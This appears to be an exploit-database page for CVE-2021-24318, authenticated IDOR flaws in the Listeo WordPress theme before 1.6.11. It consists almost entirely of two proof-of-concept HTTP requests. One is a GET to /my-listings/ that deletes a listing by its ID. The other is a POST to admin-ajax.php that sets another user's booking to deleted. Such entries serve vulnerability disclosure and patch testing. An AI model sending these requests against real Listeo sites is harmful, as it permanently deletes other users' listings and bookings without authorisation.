Exploit for Listeo < 1.6.11 - Multiple Authenticated IDOR Vulnerabilities CVE-2021-24318

Name: Exploit for Listeo < 1.6.11 - Multiple Authenticated IDOR Vulnerabilities CVE-2021-24318
Rating: 5 (62 reviews)

2021-05-16 | CVSS 5.5

## https://sploitus.com/exploit?id=WPEX-ID:9AFA7E11-68B3-4196-975E-8B3F8E68CE56
### -- [ PoC #1 | Authenticated IDOR | Permanent post/page deletion: ]

[!] https://listeo.pro/my-listings/?status=pending&action=delete&listing_id=13&_wpnonce=88a432b100

[!] GET /my-listings/?action=delete&listing_id=13&_wpnonce=88a432b100 HTTP/1.1
Host: listeo.pro
Cookie: [user cookies]



### -- [ PoC #2 | Authenticated IDOR | Permanent booking deletion: ]

[!] POST /wp-admin/admin-ajax.php HTTP/1.1
Host: listeo.pro
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: [user cookies]

action=listeo_bookings_manage&booking_id=13&status=deleted